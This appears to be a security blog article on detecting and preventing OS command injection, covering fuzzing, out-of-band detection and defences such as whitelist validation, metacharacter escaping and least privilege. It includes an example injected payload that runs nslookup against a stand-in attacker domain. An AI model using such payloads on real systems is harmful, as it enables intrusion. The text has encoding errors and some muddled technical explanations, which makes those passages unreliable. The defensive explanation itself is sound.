Fuzzing is a widely used vulnerability detection technique that can work alone or in collaboration with other methods. Itâs usually implemented on the developer-side inputs.Â
Fuzzing of the inputs is a fully-automated process that will spot the presence of command injection vulnerabilities in an application. Testers need to fuzz the header of payloads to identify the command injection. Wfuzz, ffuf, and nuclie are some of the most commonly used tools for fuzzing.
As the prime condition for a command injection success is the payload compatibility with the OS command line syntax, itâs easy to find out the impacted OS. With OS fingerprinting, early command injection detection is possible and is useful for spotting the impacted payloads featuring proper syntax.Â
Using an injected command capable of triggering out-of-band network interaction via the OAST technique is a viable detection technique.Â
For instance, &nslookup kgji2ohoyw.web-attacker.com & payload utilizes nslookup command to initiate the DNS lookup for a particular domain. The attacker or tester can observe the stipulated DNS lookup and spot the presence of command injection.Â
Via an out-of-band channel, one can also filter the injected command output.Â
Redirecting the injected command output to the browser-retrieval file confined in the webroot will surface the presence of command injection.Â
Based upon the impacted application and data it inherits, the outcome of a command injection can be too detrimental. Hence, along with early detection, one must be aware of some of the most viable command injection prevention tactics:
Try to avoid âexecâ out to the OS as much as possible as it will keep the risks on the lower side. Ensure that most of the application work is done inside the application.Â
Make sure that the untrusted inputs are validated from beginning to end. Introducing non-validated inputs encourages vulnerability in the application. Along with the validation, one must also ensure that the inputs meet the applicationâs expectations.Â
One of the most widely acceptable validation processes is âwhitelist validationâ which involves accepting only application-compatible input and rejecting others. While performing validation, input components like character set, date bounds, minimum & maximum length, date & numeric bounds, Regular Expression Pattern match value, and many more.
There are many meta-characters that hold some importance in the OS command line. So, by neutralizing them, you can prevent their misuse by hackers. It should be done in Windows, Linux, and Unix OS.Â
Window users can make this happen by preceding every character with a â^â. To neutralize its special meaning, ( ) <>& * â | = ? ; [ ] ^ ~ ! . â % @ / \ : + , ` needs to be done.Â
The procedure is used for Linux and Unix OS. In this case, antecedent of the subsequent characters should be done with an â\â and meaning neutralization can be one with { } ( ) <>& * â | = ? ; [ ] $ â # ~ ! . â % / \ : + , `. In each case, meaning neutralization will be done to the command-line interpreter.Â
Implementing least privilege is not direct prevention. But, as it limits the permissions related to the account used for OS command execution, it keeps the risks and incurred harm on the lower side.Â
Command execution should be done with the help of secured APIs. Such APIs reduce the command injection risks as they permit the command execution first as a parameter and then as a command-line arguments array. This way, it warrants extensive command validation and takes the form of a valid program, free from risky elements.Â
Accountable for many types of havoc, command injection is a type of cyber-attacks influencing the host server and its operations. To keep your data, websites, and customers safe, you must know about it. Read the above article to understand it fully and learn how to prevent it.
Subscribe for the latest news